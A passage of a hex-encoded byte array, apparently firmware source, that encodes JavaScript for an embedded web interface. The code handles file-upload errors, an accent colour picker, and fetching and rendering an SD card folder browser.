0x6F, 0x61, + 0x64, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x27, 0x2C, + 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x60, 0x45, 0x72, 0x72, + 0x6F, 0x72, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, + 0x20, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x20, 0x24, 0x7B, 0x65, 0x72, 0x72, + 0x6F, 0x72, 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x7D, 0x60, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, + 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, + 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, 0x61, 0x72, + 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x27, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, + 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x60, 0x45, 0x72, + 0x72, 0x6F, 0x72, 0x3A, 0x20, 0x24, 0x7B, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x7D, 0x60, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, + 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, 0x27, 0x29, 0x2E, + 0x61, 0x64, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x4C, 0x69, 0x73, 0x74, + 0x65, 0x6E, 0x65, 0x72, 0x28, 0x27, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x27, + 0x2C, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x28, + 0x65, 0x76, 0x65, 0x6E, 0x74, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x68, 0x65, 0x78, 0x43, 0x6F, 0x6C, 0x6F, 0x72, + 0x20, 0x3D, 0x20, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, + 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x5F, 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, 0x65, 0x78, 0x74, + 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x68, 0x65, + 0x78, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x73, + 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, + 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, + 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, + 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x22, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, 0x70, + 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, + 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x22, 0x2F, 0x61, 0x70, 0x69, + 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x22, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x64, 0x61, + 0x74, 0x61, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, + 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, + 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, + 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x64, 0x43, 0x61, 0x72, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, + 0x3B, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x74, 0x6F, 0x72, 0x65, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x69, 0x72, 0x65, 0x20, 0x73, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, + 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x5B, + 0x20, 0x7B, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x20, 0x22, 0x52, 0x6F, + 0x6F, 0x74, 0x22, 0x2C, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x22, + 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x2C, 0x20, 0x63, 0x68, 0x69, + 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x3A, 0x20, 0x73, 0x64, 0x43, 0x61, 0x72, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x20, 0x7D, 0x20, 0x5D, 0x3B, 0x20, 0x2F, + 0x2F, 0x20, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, + 0x72, 0x6F, 0x6F, 0x74, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, + 0x3D, 0x20, 0x22, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x64, + 0x61, 0x74, 0x61, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x73, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x2E, + 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, + 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x74, 0x68, 0x72, 0x6F, 0x77, 0x20, 0x6E, 0x65, 0x77, 0x20, + 0x45, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x6D, + 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x22, 0x46, + 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x20, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x64, + 0x61, 0x74, 0x61, 0x2E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, + 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, 0x65, + 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x2E, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, + 0x22, 0x46, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6C, + 0x6F, 0x61, 0x64, 0x20, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, + 0x64, 0x61, 0x74, 0x61, 0x2E, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, + 0x6F, 0x72, 0x28, 0x22, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x66, 0x65, + 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, + 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x3A, 0x22, 0x2C, 0x20, 0x65, + 0x72, 0x72, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x67, 0x65, 0x74, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, + 0x6E, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x53, 0x74, 0x61, 0x63, 0x6B, 0x5B, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, + 0x6E, 0x67, 0x74, 0x68, 0x20, 0x2D, 0x20, 0x31, 0x5D, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, + 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, + 0x65, 0x72, 0x20, 0x3D, 0x20, 0x67, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, + 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x22, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x22, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x48, + 0x54, 0x4D, 0x4C, 0x20, 0x3D, 0x20, 0x22, 0x22, 0x3B, 0x20, 0x2F, 0x2F, + 0x20, 0x43, 0x6C, 0x65, 0x61, 0x72, 0x20, 0x65, 0x78, 0x69, 0x73, 0x74, + 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x73, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x63, 0x75, 0x72, + 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x63, + 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x20, 0x7C, 0x7C, 0x20, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, + 0x2E, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x2E, 0x6C, 0x65, + 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x30, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x75, 0x72, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, + 0x3D, 0x20, 0x22, 0x54, 0x68, 0x69, 0x73, 0x20, 0x66, 0x6F, 0x6C, 0x64, + 0x65, 0x72, 0x20, 0x69, 0x73, 0x20, 0x65, 0x6D, 0x70, 0x74, 0x79, 0x2E, + 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, + 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x75, 0x6C, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, + 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x75, 0x6C, 0x22, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x75, 0x6C, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, + 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x22, + 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, + 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x63, 0x68, 0x69, 0x6C, + 0x64, 0x72, 0x65, 0x6E, 0x2E, 0x66, 0x6F, 0x72, 0x45, 0x61, 0x63, 0x68, + 0x28, 0x69, 0x74, 0x65, 0x6D, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x6C, 0x69, + 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x28, 0x22, 0x6C, 0x69, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, + 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, + 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x22, 0x73, 0x70, 0x61, + 0x6E, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, + 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, + 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, + 0x20, 0x3D, 0x20, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x6E, 0x61, 0x6D, 0x65, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, + 0x28, 0x69, 0x74, 0x65, 0x6D, 0x2E, 0x74, 0x79, 0x70, 0x65, 0x20, 0x3D, + 0x3D, 0x3D, 0x20, 0x22, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x29, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, + 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, + 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x4E, + 0x61, 0x6D, 0x65, 0x2E, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x20, + 0x3D, 0x20, 0x28, 0x29, 0x20, 0x3D, 0x3E, 0x20, 0x6E, 0x61, 0x76, 0x69, + 0x67, 0x61, 0x74, 0x65, 0x49, 0x6E, 0x74, 0x6F, 0x46, 0x6F, 0x6C, 0x64, + 0x65, 0x72, 0x28, 0x69, 0x74, 0x65, 0x6D, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, + 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, + 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x66, 0x69, 0x6C, + 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x2E, 0x61, 0x70, + 0x70, 0x65, 0x6E, 0x64, 0x43, 0x68, 0x69, 0x6C, 0x64, 0x28, 0x66, 0x69, + 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x69, 0x74, 0x65, 